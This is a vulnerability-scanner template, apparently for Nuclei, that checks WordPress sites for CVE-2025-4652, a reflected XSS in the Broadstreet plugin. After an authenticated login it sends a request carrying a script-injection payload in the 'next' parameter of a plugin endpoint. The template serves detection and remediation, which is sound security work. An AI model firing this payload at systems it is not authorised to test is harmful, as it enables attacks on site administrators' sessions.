id: CVE-2025-4652

info:
  name: Broadstreet WordPress plugin - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    Broadstreet WordPress plugin < 1.51.8 contains a reflected XSS caused by unsanitised and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires victim interaction.
  impact: |
    Attackers can execute scripts in admin users' browsers, potentially leading to session hijacking or privilege abuse.
  remediation: |
    Update to version 1.51.8 or later.
  reference:
    - https://wpscan.com/vulnerability/2a18ab96-ba95-4599-824f-df12e4851e6d/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-4652
    cwe-id: CWE-79
    epss-score: 0.00468
    epss-percentile: 0.36807
    cpe: cpe:2.3:a:broadstreetads:broadstreet:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: broadstreetads
    product: broadstreet
  tags: cve,cve2025,broadstreetads,broadstreet,authenticated,wordpress,wp,wp-plugin,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/broadstreet/Broadstreet/Vendor/broadstreet-partner/index.php?action=register&id=123&next="/><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "><script>alert(document.domain)</script>","broadstreet")
        condition: and
# digest: 4a0a00473045022100fdb354c26d3c5d250e1c7085c61b5c2a31374bd9eba4f16164e568c79de34fb00220088bb6bfcf8ad2296bb222342590d41908d5a5a7c1ce294836f6ba7abc485c6e:922c64590222798bb761d5b6d8e72950